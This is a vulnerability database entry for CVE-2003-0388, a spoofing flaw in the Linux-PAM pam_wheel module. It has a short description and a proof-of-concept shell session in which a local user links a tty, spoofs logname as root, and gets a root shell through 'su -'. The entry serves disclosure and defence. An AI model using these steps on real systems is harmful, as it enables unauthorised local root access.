Linux PAM 0.77 - Pam_Wheel Module 'getlogin() Username' Spoofing Privilege Escalation
| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
 | CVE-2003-0388 | 18 Jun 200304:00 | – | cve |
 | CVE-2003-0388 | 18 Jun 200304:00 | – | cvelist |
 | CVE-2003-0388 | 18 Jun 200304:00 | – | debiancve |
 | EUVD-2003-0382 | 7 Oct 202500:30 | – | euvd |
 | CVE-2003-0388 | 24 Jul 200304:00 | – | nvd |
 | iDEFENSE Security Advisory 2003-06-16.t | 17 Jun 200300:00 | – | packetstorm |
 | RHEL 2.1 : pam (RHSA-2004:304) | 18 Aug 200400:00 | – | nessus |
 | Low: Red Hat Security Advisory: pam security update | 18 Aug 200415:12 | – | redhat |
 | [Full-Disclosure] iDEFENSE Security Advisory 06.16.03: Linux-PAM getlogin() Spoofing Vulnerability | 21 Jun 200300:00 | – | securityvulns |
source: https://www.securityfocus.com/bid/7929/info
A vulnerability has been discovered in the Linux-Pam pam_wheel module. The problem exists in the way the module authenticates users under certain configurations. Specifically, if the module is configured to allow wheel group members to use the 'su' utility without supplying credentials and is not configured to verify the user's UID, it may be possible for a local attacker to elevated privileges.
This can be accomplished by spoofing the users login named, returned by the getlogin() function, to that of a logged in user of the wheel group.
Successful exploitation of this condition could ultimately result in an attacker gaining local root access on the target system.
$ w
10:32am up 3:26, 2 users, load average: 0.01, 0.01, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 - 7:13am 3:03m 0.30s 0.22s -bash
farmer pts/0 172.16.60.5 10:32am 0.00s 0.00s ? -
$ logname
farmer
$ ln /dev/tty tty1
$ bash < tty1
$ logname
root
$ su -
# id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
17 Nov 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 24.6
EPSS0.009